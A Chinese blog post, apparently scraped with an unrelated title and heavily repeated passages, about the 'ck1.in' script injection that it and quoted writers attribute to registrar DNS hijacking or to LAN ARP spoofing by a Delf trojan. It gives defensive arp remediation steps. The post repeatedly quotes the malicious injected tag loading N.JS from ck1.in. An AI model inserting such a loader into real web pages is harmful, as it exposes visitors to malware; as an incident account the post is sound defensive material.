今晚的面条...
Linux下搭建JSP环境小记
今天上网发现网页上都加上了这么一段代码：
很惊奇，检查了一下服务器上的文件，文件里面没有这么一段代码，网管也没法查出原因。查了一下资料，发现有如下两种可能性：
1 域名服务器问题
2 局域网中毒
对于第一条，也就等服务器解决问题了
第二条，是可以让网管解决，还可以用maxthon临时解决一下：
但我发现网页代码不完整，但至少比较正常。
搞的头疼，还以为是服务器出了啥问题了~~
看看人家出现问题后的解决方法：
原创内容如转载请注明：来自 阿权的书房
<script src=http://ck1.in/N.JS></script>
很惊奇，检查了一下服务器上的文件，文件里面没有这么一段代码，网管也没法查出原因。查了一下资料，发现有如下两种可能性：
1 域名服务器问题
引用
今天早上我发现，域名、主机服务商新网（http://www.xinnet.com/）被挂马，经新网转发的域名网站均被劫持。
对于此问题，我用了半天时间，查了我们服务器的所有文件和数据库、网站代码，没有任何问题，打开谷歌、百度、163等许多网站网页都设有此代码，只有在打开新网的所有网页都有，经过新网管理转发的域名网站网页也都有此代码，可以肯定是新网被劫持，后来新网修复了。
出现此问题。查看自己服务器上所有文件（尤其是数据库）有没有此相关代码，确定没有问题，则不用担心，域名提供商总是会修复的。
如果自己服务器有了此类代码，用360安全卫士等工具查杀恶意软件，在dos下杀病毒，给系统打所有升级补丁，以用服务器安全设置后，修复数据库，用备份或原版的asp/php文件覆盖网站文件。
自己服务器安全设置多找些网络资料吧，就这个话题足以说上一大背篓。
如果是虚拟主机的问题，通知他们修复。
对于局域网其他机器应该断开后一台一台地查杀恶意软件，在dos下杀病毒，给系统打所有升级补丁,然后联网。
劫持代码是：<script src=http://ck1.in/N.JS></script>
对于此问题，我用了半天时间，查了我们服务器的所有文件和数据库、网站代码，没有任何问题，打开谷歌、百度、163等许多网站网页都设有此代码，只有在打开新网的所有网页都有，经过新网管理转发的域名网站网页也都有此代码，可以肯定是新网被劫持，后来新网修复了。
出现此问题。查看自己服务器上所有文件（尤其是数据库）有没有此相关代码，确定没有问题，则不用担心，域名提供商总是会修复的。
如果自己服务器有了此类代码，用360安全卫士等工具查杀恶意软件，在dos下杀病毒，给系统打所有升级补丁，以用服务器安全设置后，修复数据库，用备份或原版的asp/php文件覆盖网站文件。
自己服务器安全设置多找些网络资料吧，就这个话题足以说上一大背篓。
如果是虚拟主机的问题，通知他们修复。
对于局域网其他机器应该断开后一台一台地查杀恶意软件，在dos下杀病毒，给系统打所有升级补丁,然后联网。
劫持代码是：<script src=http://ck1.in/N.JS></script>
2 局域网中毒
引用
看来这个臭名昭著的ck1.in已经开始在网上流行，仅昨天就有将近３００人（次）通过Google访问了我的相关文章（顺便也突破了我的同时在线人数最高记录）。还有位心急的朋友在没有看清文章的情况下留了言。
考虑到可能还有部分朋友没有找到切实可行的办法，我在这里再次重复一下问题的解决方法。
首先，我的这个方法只适用于通过局域网上网的朋友（据本人目前的了解，似乎也只有通过局域网方式接入互联网的朋友有可能会中招）。其次，要彻底解决该问题需要网络管理人员的配合。
那么下面是解决方法的说明：
１、向网管询问正确的网关MAC地址；
２、点击开始——运行，输入CMD后回车，在命令行界面里输入arp -a查看与网关IP对应的MAC地址是否为正确的MAC地址；
３、重复步骤２直到找到不正确的MAC地址；（期间要用浏览器浏览会中招的网站）
４、向网管汇报该MAC地址，并要求其做杀毒处理。
如果步骤４完成后仍然有中招现象，则说明还有肉机存在，继续从头到一遍吧~~~~~~~~
另外，对于无法与网管正常沟通的朋友，又或者根本不知道网管为何物的朋友，可以试着在命令行里执行“arp -s 网关IP 网关MAC地址”将网关的MAC地址与IP绑定。PS：该命令须在每次机器重启后执行，建议做成批处理文件放到启动项里。
CK1.in的问题终于解决了，这位老兄分析的不错，确实是ARP攻击在作祟。公司的同事在更换了安全软件后找到了攻击的根源，原来是win32/psw.Delf这个家伙在作祟。
考虑到可能还有部分朋友没有找到切实可行的办法，我在这里再次重复一下问题的解决方法。
首先，我的这个方法只适用于通过局域网上网的朋友（据本人目前的了解，似乎也只有通过局域网方式接入互联网的朋友有可能会中招）。其次，要彻底解决该问题需要网络管理人员的配合。
那么下面是解决方法的说明：
１、向网管询问正确的网关MAC地址；
２、点击开始——运行，输入CMD后回车，在命令行界面里输入arp -a查看与网关IP对应的MAC地址是否为正确的MAC地址；
３、重复步骤２直到找到不正确的MAC地址；（期间要用浏览器浏览会中招的网站）
４、向网管汇报该MAC地址，并要求其做杀毒处理。
如果步骤４完成后仍然有中招现象，则说明还有肉机存在，继续从头到一遍吧~~~~~~~~
另外，对于无法与网管正常沟通的朋友，又或者根本不知道网管为何物的朋友，可以试着在命令行里执行“arp -s 网关IP 网关MAC地址”将网关的MAC地址与IP绑定。PS：该命令须在每次机器重启后执行，建议做成批处理文件放到启动项里。
CK1.in的问题终于解决了，这位老兄分析的不错，确实是ARP攻击在作祟。公司的同事在更换了安全软件后找到了攻击的根源，原来是win32/psw.Delf这个家伙在作祟。
对于第一条，也就等服务器解决问题了
第二条，是可以让网管解决，还可以用maxthon临时解决一下：
引用
打开防火墙也没用，经测试，只有部分网站会出现这样的情况，如中华网有，百度没有。有个临时办法可以用一下，就是用maxthon等浏览器，屏蔽http://ck1.in/n.js这样可以解一时之困，不过要完全根除要等到真正的高手出现了
但我发现网页代码不完整，但至少比较正常。
搞的头疼，还以为是服务器出了啥问题了~~
看看人家出现问题后的解决方法：
引用
异常发现:
今天一早, 突然发现昨晚工作到深夜的成果Symfony API显示不正常, 寻找原因,发现html的首行加入了<script src=http://ck1.in/N.JS></script> .
原因分析与验证:
1. 难道文件不小心被感染了? 到服务器上查看了一下文件, 发现很正常, 没有多余的代码.
2. 服务器被感染了, apache 返回html的时候自动加上代码? 在服务器上运行了wget一下, 发现获得的代码没问题. 看来问题出在客户端或者网络上.
3. 在服务器上构造了一个只有3个字符的静态页面, 在本地访问了一下, 仍然发现相同的js代码. 这样, 用它来做判断标准.
3. 杀毒软件出动. 我比较懒, 没安杀毒软件. 但对360safe比较有信心. 用他查了一边, 排查重点放在 网络异常驱动和LSP连接上, 但还是没有发现异常.
4. 上网查查吧. baidu,google 了一大通, 没有任何可用的信息.
5. 换台计算机吧. 别人都在忙, 还是用虚拟机吧. 启动了vmware 下的centos, 访问了一下, 没有发现js代码, 于是我基本可以断定问题处在我的windows上.
6. 公司里测试人员报了一个bug, 技术人员一调试也发现了相同的js代码. My God, 我用其他的计算机放问了一下测试页, 均发现相同的js代码.
7. 终极武器出动: Sniffer Pro. 此步之前, 我是用HTTPwatch 抓IE的包, 监听不够彻底, 于是现下了一个sniffer pro. 启动了sniffer pro, 发现arp reply 异常的多. 路由器异常? 因为公司刚换了路由器, 所以没有在意. 设置了filter, 抓取本地访问只有3个字符的测试页面, 查看数据包. 我的天!!! 竟然sniffer pro 也抓到了那段JS. 因为经历了第5步排查, 我基本断定问题处在本地计算机上. 于是,我怀疑起sniffer pro:原来 sniffer pro的驱动也不够底层, 竟然可以被病毒提前修改数据包.
7. 无计可施了. 既然找不到原因, 看来重装系统比较快捷了. 在死之前, 还是仔细研究一下为什么arp reply这么多吧. ARP欺骗? 把数据包的源MAC和路由器管理界面的本地MAC对照一下, 发现了大秘密: 原来这一切很可能是ARP欺骗的原因.
8. 验证是否是ARP欺骗. 通过种种手段, 找到了犯罪嫌疑机器, 来了一个潇洒的"右击->禁用", 然后在被发现同样中招的机器上来一个高深的 "arp -d", 然后访问测试页面, Very good, 不再有那可恶的js了.
总结.
原来这是ARP做的孽. 在我印象里, arp欺骗常被人用来非法监听数据包,盗取密码, 没想到可以这样...... 用它来弹出广告应该不错, 可以赚很多钱 呵呵~~~
今天一早, 突然发现昨晚工作到深夜的成果Symfony API显示不正常, 寻找原因,发现html的首行加入了<script src=http://ck1.in/N.JS></script> .
原因分析与验证:
1. 难道文件不小心被感染了? 到服务器上查看了一下文件, 发现很正常, 没有多余的代码.
2. 服务器被感染了, apache 返回html的时候自动加上代码? 在服务器上运行了wget一下, 发现获得的代码没问题. 看来问题出在客户端或者网络上.
3. 在服务器上构造了一个只有3个字符的静态页面, 在本地访问了一下, 仍然发现相同的js代码. 这样, 用它来做判断标准.
3. 杀毒软件出动. 我比较懒, 没安杀毒软件. 但对360safe比较有信心. 用他查了一边, 排查重点放在 网络异常驱动和LSP连接上, 但还是没有发现异常.
4. 上网查查吧. baidu,google 了一大通, 没有任何可用的信息.
5. 换台计算机吧. 别人都在忙, 还是用虚拟机吧. 启动了vmware 下的centos, 访问了一下, 没有发现js代码, 于是我基本可以断定问题处在我的windows上.
6. 公司里测试人员报了一个bug, 技术人员一调试也发现了相同的js代码. My God, 我用其他的计算机放问了一下测试页, 均发现相同的js代码.
7. 终极武器出动: Sniffer Pro. 此步之前, 我是用HTTPwatch 抓IE的包, 监听不够彻底, 于是现下了一个sniffer pro. 启动了sniffer pro, 发现arp reply 异常的多. 路由器异常? 因为公司刚换了路由器, 所以没有在意. 设置了filter, 抓取本地访问只有3个字符的测试页面, 查看数据包. 我的天!!! 竟然sniffer pro 也抓到了那段JS. 因为经历了第5步排查, 我基本断定问题处在本地计算机上. 于是,我怀疑起sniffer pro:原来 sniffer pro的驱动也不够底层, 竟然可以被病毒提前修改数据包.
7. 无计可施了. 既然找不到原因, 看来重装系统比较快捷了. 在死之前, 还是仔细研究一下为什么arp reply这么多吧. ARP欺骗? 把数据包的源MAC和路由器管理界面的本地MAC对照一下, 发现了大秘密: 原来这一切很可能是ARP欺骗的原因.
8. 验证是否是ARP欺骗. 通过种种手段, 找到了犯罪嫌疑机器, 来了一个潇洒的"右击->禁用", 然后在被发现同样中招的机器上来一个高深的 "arp -d", 然后访问测试页面, Very good, 不再有那可恶的js了.
总结.
原来这是ARP做的孽. 在我印象里, arp欺骗常被人用来非法监听数据包,盗取密码, 没想到可以这样...... 用它来弹出广告应该不错, 可以赚很多钱 呵呵~~~
原创内容如转载请注明：来自 阿权的书房
收藏本文到网摘
